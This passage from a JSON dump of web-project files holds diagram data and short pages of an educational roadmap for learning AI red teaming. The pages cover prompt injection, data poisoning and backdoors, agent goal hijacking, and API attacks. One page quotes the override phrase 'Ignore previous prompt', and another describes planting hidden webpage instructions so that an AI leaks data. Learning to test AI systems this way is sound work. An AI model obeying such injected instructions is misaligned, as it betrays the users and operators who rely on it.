true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yraH8ID6eALCTPZnrjxH9\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"rpvQMyWGn7_7NzWOjBJCd\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__yraH8ID6eALCTPZnrjxH9x2-rpvQMyWGn7_7NzWOjBJCdw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rpvQMyWGn7_7NzWOjBJCd\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"xJYTRbPxMn0Xs5ea0Ygn6\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__rpvQMyWGn7_7NzWOjBJCdx2-xJYTRbPxMn0Xs5ea0Ygn6w2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KAcCZ3zcv25R6HwzAsfUG\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"kEUGGhl9GQU04yjihX1_h\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__KAcCZ3zcv25R6HwzAsfUGx2-kEUGGhl9GQU04yjihX1_hw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kEUGGhl9GQU04yjihX1_h\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"-G8v_CNa8wO_g-46_RFQo\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__kEUGGhl9GQU04yjihX1_hz2--G8v_CNa8wO_g-46_RFQoy2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kEUGGhl9GQU04yjihX1_h\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"soC-kcem1ISbnCQMa6BIB\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__kEUGGhl9GQU04yjihX1_hz2-soC-kcem1ISbnCQMa6BIBy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kEUGGhl9GQU04yjihX1_h\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"VmaIHVsCpq2um_0cA33V3\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__kEUGGhl9GQU04yjihX1_hz2-VmaIHVsCpq2um_0cA33V3y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kEUGGhl9GQU04yjihX1_h\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"WePO66_4-gNcSdE00WKmw\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__kEUGGhl9GQU04yjihX1_hz2-WePO66_4-gNcSdE00WKmwy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/ai-red-teaming.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/ai-red-teaming.json'\npdfUrl: '/pdfs/roadmaps/ai-red-teaming.pdf'\norder: 22\nbriefTitle: 'AI Red Teaming'\nbriefDescription: 'Learn to become a red teaming expert in AI'\ntitle: 'AI Red Teaming'\ndescription: 'Learn to become a red teaming expert in AI'\nisNew: false\nisHidden: false\nhasTopics: true\nrenderer: editor\ndimensions:\n  width: 968\n  height: 2150\nschema:\n  headline: 'AI Red Teaming Roadmap'\n  description: 'Learn how to red team your AI applications with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/ai-red-teaming.png'\n  datePublished: '2025-04-22'\n  dateModified: '2025-04-22'\nseo:\n  title: 'AI Red Teaming Roadmap'\n  description: 'Step by step guide to learn AI Red Teaming in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  keywords:\n    - 'ai red teaming tutorial'\n    - 'step by step guide for ai red teaming'\n    - 'how to learn ai red teaming'\n    - 'use ai red teaming in production'\n    - 'ai red teaming roadmap 2025'\n    - 'guide to learning ai red teaming'\n    - 'ai red teaming for beginners'\n    - 'ai red teaming roadmap'\n    - 'ai red teaming learning path'\n    - 'ai red teaming learning roadmap'\n    - 'ai red teaming learning guide'\n    - 'ai red teaming skills'\n    - 'ai red teaming for development'\n    - 'ai red teaming for development skills'\n    - 'ai red teaming for development skills test'\n    - 'ai red teaming quiz'\n    - 'ai red teaming career path'\n    - 'ai red teaming interview questions'\n    - 'learn ai red teaming for development'\n    - 'become an ai red teaming expert'\n    - 'what is ai red teaming'\nrelatedRoadmaps:\n  - 'ai-engineer'\n  - 'ai-data-scientist'\n  - 'prompt-engineering'\n  - 'data-analyst'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/advanced-techniques@soC-kcem1ISbnCQMa6BIB.md",
    "content": "# Advanced Techniques\n\nThe practice of AI Red Teaming itself will evolve. Future techniques may involve using AI adversaries to automatically discover complex vulnerabilities, developing more sophisticated methods for testing AI alignment and safety properties, simulating multi-agent system failures, and creating novel metrics for evaluating AI robustness against unknown future attacks.\n\nLearn more from the following resources:\n\n- [@article@AI red-teaming in critical infrastructure: Boosting security and trust in AI systems](https://www.dnv.com/article/ai-red-teaming-for-critical-infrastructure-industries/)\n- [@article@Advanced Techniques in AI Red Teaming for LLMs](https://neuraltrust.ai/blog/advanced-techniques-in-ai-red-teaming)\n- [@paper@Diverse and Effective Red Teaming with Auto-generated Rewards and Multi-step Reinforcement Learning](https://arxiv.org/html/2412.18693v1)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/adversarial-examples@xjlttOti-_laPRn8a2fVy.md",
    "content": "# Adversarial Examples\n\nA core AI Red Teaming activity involves generating adversarial examples – inputs slightly perturbed to cause misclassification or bypass safety filters – to test model robustness. Red teamers use various techniques (gradient-based, optimization-based, or black-box methods) to find inputs that exploit model weaknesses, informing developers on how to harden the model.\n\nLearn more from the following resources:\n\n- [@guide@Adversarial Examples – Interpretable Machine Learning Book](https://christophm.github.io/interpretable-ml-book/adversarial.html)\n- [@guide@Adversarial Testing for Generative AI](https://developers.google.com/machine-learning/guides/adv-testing)\n- [@video@How AI Can Be Tricked With Adversarial Attacks](https://www.youtube.com/watch?v=J3X_JWQkvo8?v=MPcfoQBDY0w)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/adversarial-training@2Y0ZO-etpv3XIvunDLu-W.md",
    "content": "# Adversarial Training\n\nAI Red Teamers evaluate the effectiveness of adversarial training as a defense. They test if models trained on adversarial examples are truly robust or if new, unseen adversarial attacks can still bypass the hardened defenses. This helps refine the adversarial training process itself.\n\nLearn more from the following resources:\n\n- [@article@Model Robustness: Building Reliable AI Models](https://encord.com/blog/model-robustness-machine-learning-strategies/)\n- [@guide@Adversarial Testing for Generative AI](https://developers.google.com/machine-learning/guides/adv-testing)\n- [@paper@Detecting and Preventing Data Poisoning Attacks on AI Models](https://arxiv.org/abs/2503.09302)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/agentic-ai-security@FVsKivsJrIb82B0lpPmgw.md",
    "content": "# Agentic AI Security\n\nAs AI agents capable of autonomous action become more common, AI Red Teamers must test their unique security implications. This involves assessing risks related to goal hijacking, unintended actions through tool use, exploitation of planning mechanisms, and ensuring agents operate safely within their designated boundaries.\n\nLearn more from the following resources:\n\n- [@article@AI Agents - Learn Prompting](https://learnprompting.org/docs/intermediate/ai_agents)\n- [@article@EmbraceTheRed](https://embracethered.com/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/ai-security-fundamentals@R9DQNc0AyAQ2HLpP4HOk6.md",
    "content": "# AI Security Fundamentals\n\nThis covers the foundational concepts essential for AI Red Teaming, bridging traditional cybersecurity with AI-specific threats. An AI Red Teamer must understand common vulnerabilities in ML models (like evasion or poisoning), security risks in the AI lifecycle (from data collection to deployment), and how AI capabilities can be misused. This knowledge forms the basis for designing effective tests against AI systems.\n\nLearn more from the following resources:\n\n- [@article@Building Trustworthy AI: Contending with Data Poisoning](https://nisos.com/research/building-trustworthy-ai/)\n- [@article@What Is Adversarial AI in Machine Learning?](https://www.paloaltonetworks.co.uk/cyberpedia/what-are-adversarial-attacks-on-AI-Machine-Learning)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/api-protection@Tszl26iNBnQBdBEWOueDA.md",
    "content": "# API Protection\n\nAI Red Teamers rigorously test the security of APIs providing access to AI models. They probe for OWASP API Top 10 vulnerabilities like broken authentication/authorization, injection flaws, security misconfigurations, and lack of rate limiting, specifically evaluating how these could lead to misuse or compromise of the AI model itself.\n\nLearn more from the following resources:\n\n- [@article@Securing APIs with AI for Advanced Threat Protection](https://adevait.com/artificial-intelligence/securing-apis-with-ai)\n- [@article@Securing Machine Learning APIs (IBM)](https://developer.ibm.com/articles/se-securing-machine-learning-apis/)\n- [@guide@OWASP API Security Project (Top 10 2023)](https://owasp.org/www-project-api-security/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/authentication@J7gjlt2MBx7lOkOnfGvPF.md",
    "content": "# Authentication\n\nAI Red Teamers test the authentication mechanisms controlling access to AI systems and APIs. They attempt to bypass logins, steal or replay API keys/tokens, exploit weak password policies, or find flaws in MFA implementations to gain unauthorized access to the AI model or its management interfaces.\n\nLearn more from the following resources:\n\n- [@article@Red-Teaming in AI Testing: Stress Testing](https://www.labelvisor.com/red-teaming-abstract-competitive-testing-data-selection/)\n- [@article@What is Authentication vs Authorization?](https://auth0.com/intro-to-iam/authentication-vs-authorization)\n- [@article@JWT Attacks](https://portswigger.net/web-security/jwt)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/authentication@JQ3bR8odXJfd-1RCEf3-Q.md",
    "content": "# Authorization\n\nAI Red Teamers test authorization controls to ensure that authenticated users can only access the AI features and data permitted by their roles/permissions. They attempt privilege escalation, try to access other users' data via the AI, or manipulate the AI to perform actions beyond its authorized scope.\n\nLearn more from the following resources:\n\n- [@article@What is Authentication vs Authorization?](https://auth0.com/intro-to-iam/authentication-vs-authorization)\n- [@guide@Identity and access management (IAM) fundamental concepts](https://learn.microsoft.com/en-us/entra/fundamentals/identity-fundamental-concepts)\n- [@guide@OWASP API Security Project](https://owasp.org/www-project-api-security/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/automated-vs-manual@LVdYN9hyCyNPYn2Lz1y9b.md",
    "content": "# Automated vs Manual Testing\n\nAI Red Teaming typically employs a blend of automated tools (for large-scale scanning, fuzzing prompts, generating basic adversarial examples) and manual human testing (for creative jailbreaking, complex multi-stage attacks, evaluating nuanced safety issues like bias). Automation provides scale, while manual testing provides depth and creativity needed to find novel vulnerabilities.\n\nLearn more from the following resources:\n\n- [@article@Automation Testing vs. Manual Testing: Which is the better approach?](https://www.opkey.com/blog/automation-testing-vs-manual-testing-which-is-better)\n- [@article@Manual Testing vs Automated Testing: What's the Difference?](https://www.leapwork.com/blog/manual-vs-automated-testing)\n- [@tool@Spikee](https://spikee.ai)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/benchmark-datasets@et1Xrr8ez-fmB0mAq8W_a.md",
    "content": "# Benchmark Datasets\n\nAI Red Teamers may use or contribute to benchmark datasets specifically designed to evaluate AI security. These datasets (like HackAprompt, SecBench, NYU CTF Bench, CySecBench) contain prompts or scenarios targeting vulnerabilities, safety issues, or specific cybersecurity capabilities, allowing for standardized testing of models.\n\nLearn more from the following resources:\n\n- [@dataset@HackAPrompt Dataset](https://huggingface.co/datasets/hackaprompt/hackaprompt-dataset)\n- [@dataset@CySecBench: Generative AI-based CyberSecurity-focused Prompt Dataset](https://github.com/cysecbench/dataset)\n- [@dataset@NYU CTF Bench: A Scalable Open-Source Benchmark Dataset for Evaluating LLMs in Offensive Security](https://proceedings.neurips.cc/paper_files/paper/2024/hash/69d97a6493fbf016fff0a751f253ad18-Abstract-Datasets_and_Benchmarks_Track.html)\n- [@dataset@SecBench: A Comprehensive Multi-Dimensional Benchmarking Dataset for LLMs in Cybersecurity](https://arxiv.org/abs/2412.20787)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/black-box-testing@0bApnJTt-Z2IUf0X3OCYf.md",
    "content": "# Black Box Testing\n\nIn AI Red Teaming, black-box testing involves probing the AI system with inputs and observing outputs without any knowledge of the model's architecture, training data, or internal logic. This simulates an external attacker and is crucial for finding vulnerabilities exploitable through publicly accessible interfaces, such as prompt injection or safety bypasses discoverable via API interaction.\n\nLearn more from the following resources:\n\n- [@article@Black-Box, Gray Box, and White-Box Penetration Testing](https://www.eccouncil.org/cybersecurity-exchange/penetration-testing/black-box-gray-box-and-white-box-penetration-testing-importance-and-uses/)\n- [@article@What is Black Box Testing](https://www.imperva.com/learn/application-security/black-box-testing/)\n- [@guide@LLM red teaming guide (open source)](https://www.promptfoo.dev/docs/red-team/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/code-injection@vhBu5x8INTtqvx6vcYAhE.md",
    "content": "# Code Injection\n\nAI Red Teamers test for code injection vulnerabilities specifically in the context of AI applications. This involves probing whether user input, potentially manipulated via prompts, can lead to the execution of unintended code (e.g., SQL, OS commands, or script execution via generated code) within the application layer or connected systems, using the AI as a potential vector.\n\nLearn more from the following resources:\n\n- [@article@Code Injection in LLM Applications](https://neuraltrust.ai/blog/code-injection-in-llms)\n- [@article@Code Injection](https://learnprompting.org/docs/prompt_hacking/offensive_measures/code_injection)\n- [@guide@Code Injection](https://owasp.org/www-community/attacks/Code_Injection)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/conferences@LuKnmd9nSz9yLbTU_5Yp2.md",
    "content": "# Conferences\n\nAttending major cybersecurity conferences (DEF CON, Black Hat, RSA) and increasingly specialized AI Safety/Security conferences allows AI Red Teamers to learn about cutting-edge research, network with peers, and discover new tools and attack/defense techniques.\n\nLearn more from the following resources:\n\n- [@conference@Black Hat Events](https://www.blackhat.com/)\n- [@conference@DEF CON Hacking Conference](https://defcon.org/)\n- [@conference@Global Conference on AI, Security and Ethics 2025](https://unidir.org/event/global-conference-on-ai-security-and-ethics-2025/)\n- [@conference@RSA Conference](https://www.rsaconference.com/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/confidentiality-integrity-availability@WZkIHZkV2qDYbYF9KBBRi.md",
    "content": "# Confidentiality, Integrity, Availability\n\nThe CIA Triad is directly applicable in AI Red Teaming. Confidentiality tests focus on preventing leakage of training data or proprietary model details. Integrity tests probe for susceptibility to data poisoning or model manipulation. Availability tests assess resilience against denial-of-service attacks targeting the AI model or its supporting infrastructure.\n\nLearn more from the following resources:\n\n- [@article@Confidentiality, Integrity, Availability: Key Examples](https://www.datasunrise.com/knowledge-center/confidentiality-integrity-availability-examples/)\n- [@article@The CIA Triad: Confidentiality, Integrity, Availability](https://www.veeam.com/blog/cybersecurity-cia-triad-explained.html)\n- [@article@What's The CIA Triad? Confidentiality, Integrity, & Availability, Explained](https://www.splunk.com/en_us/blog/learn/cia-triad-confidentiality-integrity-availability.html)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/continuous-monitoring@7Km0mFpHguHYPs5UhHTsM.md",
    "content": "# Continuous Monitoring\n\nAI Red Teamers assess the effectiveness of continuous monitoring systems by attempting attacks and observing if detection mechanisms trigger appropriate alerts and responses. They test if monitoring covers AI-specific anomalies (like sudden shifts in output toxicity or unexpected resource consumption by the model) in addition to standard infrastructure monitoring.\n\nLearn more from the following resources:\n\n- [@article@Cyber Security Monitoring: 5 Key Components](https://www.bitsight.com/blog/5-things-to-consider-building-continuous-security-monitoring-strategy)\n- [@article@Cyber Security Monitoring: Definition and Best Practices](https://www.sentinelone.com/cybersecurity-101/cybersecurity/cyber-security-monitoring/)\n- [@article@Cybersecurity Monitoring: Definition, Tools & Best Practices](https://nordlayer.com/blog/cybersecurity-monitoring/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/continuous-testing@65Lo60JQS5YlvvQ6KevXt.md",
    "content": "# Continuous Testing\n\nApplying continuous testing principles to AI security involves integrating automated red teaming checks into the development pipeline (CI/CD). This allows for regular, automated assessment of model safety, robustness, and alignment as the model or application code evolves, catching regressions or new vulnerabilities early. Tools facilitating Continuous Automated Red Teaming (CART) are emerging.\n\nLearn more from the following resources:\n\n- [@article@Continuous Automated Red Teaming (CART)](https://www.firecompass.com/continuous-automated-red-teaming/)\n- [@article@What is Continuous Penetration Testing? Process and Benefits](https://qualysec.com/continuous-penetration-testing/)\n- [@guide@What is Continuous Testing and How Does it Work?](https://www.blackduck.com/glossary/what-is-continuous-testing.html)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/countermeasures@G1u_Kq4NeUsGX2qnUTuJU.md",
    "content": "# Countermeasures\n\nAI Red Teamers must also understand and test defenses against prompt hacking. This includes evaluating the effectiveness of input sanitization, output filtering, instruction demarcation (e.g., XML tagging), contextual awareness checks, model fine-tuning for resistance, and applying the principle of least privilege to LLM capabilities and tool access.\n\nLearn more from the following resources:\n\n- [@article@Prompt Hacking Defensive Measures](https://learnprompting.org/docs/prompt_hacking/defensive_measures/introduction)\n- [@article@Mitigating Prompt Injection Attacks (NCC Group Research)](https://research.nccgroup.com/2023/12/01/mitigating-prompt-injection-attacks/)\n- [@article@Prompt Injection & the Rise of Prompt Attacks](https://www.lakera.ai/blog/guide-to-prompt-injection)\n- [@article@Prompt Injection: Impact, How It Works & 4 Defense Measures](https://www.tigera.io/learn/guides/llm-security/prompt-injection/)\n- [@guide@OpenAI Best Practices for Prompt Security](https://platform.openai.com/docs/guides/prompt-engineering/strategy-write-clear-instructions)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/ctf-challenges@2Imb64Px3ZQcBpSQjdc_G.md",
    "content": "# CTF Challenges\n\nCapture The Flag competitions increasingly include AI/ML security challenges. Participating in CTFs (tracked on CTFtime) or platforms like picoCTF helps AI Red Teamers hone skills in reverse engineering, web exploitation, and cryptography applied to AI systems, including specialized AI safety CTFs.\n\nLearn more from the following resources:\n\n- [@platform@HackAPrompt](https://www.hackaprompt.com/)\n- [@article@Progress from our Frontier Red Team](https://www.anthropic.com/news/strategic-warning-for-ai-risk-progress-and-insights-from-our-frontier-red-team)\n- [@platform@CTFtime.org](https://ctftime.org/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/custom-testing-scripts@C1zO2xC0AqyV53p2YEPWg.md",
    "content": "# Custom Testing Scripts\n\nAI Red Teamers frequently write custom scripts (often in Python) to automate bespoke attacks, interact with specific AI APIs, generate complex prompt sequences, parse model outputs at scale, or implement novel exploit techniques not found in standard tools. Proficiency in scripting is essential for advanced AI red teaming.\n\nLearn more from the following resources:\n\n- [@guide@Python for Cybersecurity: Key Use Cases and Tools](https://panther.com/blog/python-for-cybersecurity-key-use-cases-and-tools)\n- [@guide@Python for cybersecurity: use cases, tools and best practices](https://softteco.com/blog/python-for-cybersecurity)\n- [@tool@Scapy](https://scapy.net/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/data-poisoning@nD0_64ELEeJSN-0aZiR7i.md",
    "content": "# Data Poisoning\n\nAI Red Teamers simulate data poisoning attacks by evaluating how introducing manipulated or mislabeled data into potential training or fine-tuning datasets could compromise the model. They assess the impact on model accuracy, fairness, or the potential creation of exploitable backdoors, informing defenses around data validation and provenance.\n\nLearn more from the following resources:\n\n- [@article@AI Poisoning](https://www.aiblade.net/p/ai-poisoning-is-it-really-a-threat)\n- [@paper@Detecting and Preventing Data Poisoning Attacks on AI Models](https://arxiv.org/abs/2503.09302)\n- [@paper@Poisoning Web-Scale Training Data (arXiv)](https://arxiv.org/abs/2310.12818)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/direct@5zHow4KZVpfhch5Aabeft.md",
    "content": "# Direct Injection\n\nDirect injection attacks occur when malicious instructions are inserted directly into the prompt input field by the user interacting with the LLM. AI Red Teamers use this technique to assess if basic instructions like \"Ignore previous prompt\" can immediately compromise the model's safety or intended function, testing the robustness of the system prompt's influence.\n\nLearn more from the following resources:\n\n- [@article@Prompt Injection](https://learnprompting.org/docs/prompt_hacking/injection?srsltid=AfmBOooOKRzLT0Hn2PNdAa69Fietniztfds6Fo1PO8WuIyyXjbLb6XgI)\n- [@article@Prompt Injection & the Rise of Prompt Attacks](https://www.lakera.ai/blog/guide-to-prompt-injection)\n- [@article@Prompt Injection Cheat Sheet (FlowGPT)](https://flowgpt.com/p/prompt-injection-cheat-sheet)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/emerging-threats@-G8v_CNa8wO_g-46_RFQo.md",
    "content": "# Emerging Threats\n\nAI Red Teamers must stay informed about potential future threats enabled by more advanced AI, such as highly autonomous attack agents, AI-generated malware that evades detection, sophisticated deepfakes for social engineering, or large-scale exploitation of interconnected AI systems. Anticipating these helps shape current testing priorities.\n\nLearn more from the following resources:\n\n- [@article@AI Security Risks Uncovered: What You Must Know in 2025](https://ttms.com/uk/ai-security-risks-explained-what-you-need-to-know-in-2025/)\n- [@article@Why Artificial Intelligence is the Future of Cybersecurity](https://www.darktrace.com/blog/why-artificial-intelligence-is-the-future-of-cybersecurity)\n- [@report@AI Index 2024](https://aiindex.stanford.edu/report/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/ethical-considerations@1gyuEV519LjN-KpROoVwv.md",
    "content": "# Ethical Considerations\n\nEthical conduct is crucial for AI Red Teamers. While simulating attacks, they must operate within strict legal and ethical boundaries defined by rules of engagement, focusing on improving safety without causing real harm or enabling misuse. This includes respecting data privacy, obtaining consent where necessary, responsibly disclosing vulnerabilities, and carefully considering the potential negative impacts of both the testing process and the AI capabilities being tested. The goal is discovery for defense, not exploitation.\n\nLearn more from the following resources:\n\n- [@article@Red-Teaming in AI Testing: Stress Testing](https://www.labelvisor.com/red-teaming-abstract-competitive-testing-data-selection/)\n- [@article@Responsible AI assessment - Responsible AI | Coursera](https://www.coursera.org/learn/ai-security)\n- [@guide@Responsible AI Principles (Microsoft)](https://www.microsoft.com/en-us/ai/responsible-ai)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/forums@Smncq-n1OlnLAY27AFQOO.md",
    "content": "# Forums\n\nEngaging in online forums, mailing lists, Discord servers, or subreddits dedicated to AI security, adversarial ML, prompt engineering, or general cybersecurity helps AI Red Teamers exchange knowledge, ask questions, learn about new tools/techniques, and find collaboration opportunities.\n\nLearn more from the following resources:\n\n- [@community@LearnPrompting Prompt Hacking Discord](https://discord.com/channels/1046228027434086460/1349689482651369492)\n- [@community@Reddit - r/ChatGPTJailbreak](https://www.reddit.com/r/ChatGPTJailbreak/)\n- [@community@Reddit - r/artificial](https://www.reddit.com/r/artificial/)\n- [@community@Reddit - r/cybersecurity](https://www.reddit.com/r/cybersecurity/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/generative-models@3XJ-g0KvHP75U18mxCqgw.md",
    "content": "# Generative Models\n\nAI Red Teamers focus heavily on generative models (like GANs and LLMs) due to their widespread use and unique risks. Understanding how they generate content is key to testing for issues like generating harmful/biased outputs, deepfakes, prompt injection vulnerabilities, or leaking sensitive information from their vast training data.\n\nLearn more from the following resources:\n\n- [@article@What is Generative AI?](https://learnprompting.org/docs/basics/generative_ai)\n- [@course@Introduction to Generative AI](https://learnprompting.org/courses/intro-to-gen-ai)\n- [@guide@Generative AI beginner's guide](https://cloud.google.com/vertex-ai/generative-ai/docs/learn/overview)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/grey-box-testing@ZVNAMCP68XKRXVxF2-hBc.md",
    "content": "# Grey Box Testing\n\nGrey-box AI Red Teaming involves testing with partial knowledge of the system, such as knowing the model type (e.g., GPT-4), having access to some documentation, or understanding the general system architecture but not having full model weights or source code. This allows for more targeted testing than black-box while still simulating realistic external attacker scenarios where some information might be gleaned.\n\nLearn more from the following resources:\n\n- [@article@AI Transparency: Connecting AI Red Teaming and Compliance](https://splx.ai/blog/ai-transparency-connecting-ai-red-teaming-and-compliance)\n- [@article@Black-Box, Gray Box, and White-Box Penetration Testing](https://www.eccouncil.org/cybersecurity-exchange/penetration-testing/black-box-gray-box-and-white-box-penetration-testing-importance-and-uses/)\n- [@article@Understanding Black Box, White Box, and Grey Box Testing](https://www.frugaltesting.com/blog/understanding-black-box-white-box-and-grey-box-testing-in-software-testing)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/indirect@3_gJRtJSdm2iAfkwmcv0e.md",
    "content": "# Indirect Injection\n\nIndirect injection involves embedding malicious prompts within external data sources that the LLM processes, such as websites, documents, or emails. AI Red Teamers test this by poisoning data sources the AI might interact with (e.g., adding hidden instructions to a webpage summarized by the AI) to see if the AI executes unintended commands or leaks data when processing that source.\n\nLearn more from the following resources:\n\n- [@paper@The Practical Application of Indirect Prompt Injection Attacks](https://www.researchgate.net/publication/382692833_The_Practical_Application_of_Indirect_Prompt_Injection_Attacks_From_Academia_to_Industry)\n- [@article@How to Prevent Indirect Prompt Injection Attacks](https://www.cobalt.io/blog/how-to-prevent-indirect-prompt-injection-attacks)\n- [@article@Indirect Prompt Injection Data Exfiltration](https://embracethered.com/blog/posts/2024/chatgpt-macos-app-persistent-data-exfiltration/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/industry-credentials@HHjsFR6wRDqUd66PMDE_7.md",
    "content": "# Industry Credentials\n\nBeyond formal certifications, recognition in the AI Red Teaming field comes from practical achievements like finding significant vulnerabilities (responsible disclosure), winning AI-focused CTFs or hackathons (like HackAPrompt), contributing to AI security research, or building open-source testing tools.\n\nLearn more from the following resources:\n\n- [@platform@HackAPrompt](https://hackaprompt.com)\n- [@platform@RedTeam Arena](https://redarena.ai)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/industry-standards@WePO66_4-gNcSdE00WKmw.md",
    "content": "# Industry Standards\n\nAs AI matures, AI Red Teamers will increasingly need to understand and test against emerging industry standards and regulations for AI safety, security, and risk management, such as the NIST AI RMF, ISO/IEC 42001, and sector-specific guidelines, ensuring AI systems meet compliance requirements.\n\nLearn more from the following resources:\n\n- [@article@ISO 42001: The New Compliance Standard for AI Management Systems](https://www.brightdefense.com/resources/iso-42001-compliance/)\n- [@article@ISO 42001: What it is & why it matters for AI management](https://www.itgovernance.co.uk/iso-42001)\n- [@framework@NIST AI Risk Management Framework (AI RMF)](https://www.nist.gov/itl/ai-risk-management-framework)\n- [@standard@ISO/IEC 42001: Information technology — Artificial intelligence — Management system](https://www.iso.org/standard/81230.html)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/infrastructure-security@nhUKKWyBH80nyKfGT8ErC.md",
    "content": "# Infrastructure Security\n\nAI Red Teamers assess the security posture of the infrastructure hosting AI models (cloud environments, servers, containers). They look for misconfigurations, unpatched systems, insecure network setups, or inadequate access controls that could allow compromise of the AI system or leakage of sensitive data/models.\n\nLearn more from the following resources:\n\n- [@article@AI Infrastructure Attacks (VentureBeat)](https://venturebeat.com/ai/understanding-ai-infrastructure-attacks/)\n- [@guide@Network Infrastructure Security - Best Practices and Strategies](https://www.dataguard.com/blog/network-infrastructure-security-best-practices-and-strategies/)\n- [@guide@Secure Deployment of ML Systems (NIST)](https://csrc.nist.gov/publications/detail/sp/800-218/final)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/insecure-deserialization@aKzai0A8J55-OBXTnQih1.md",
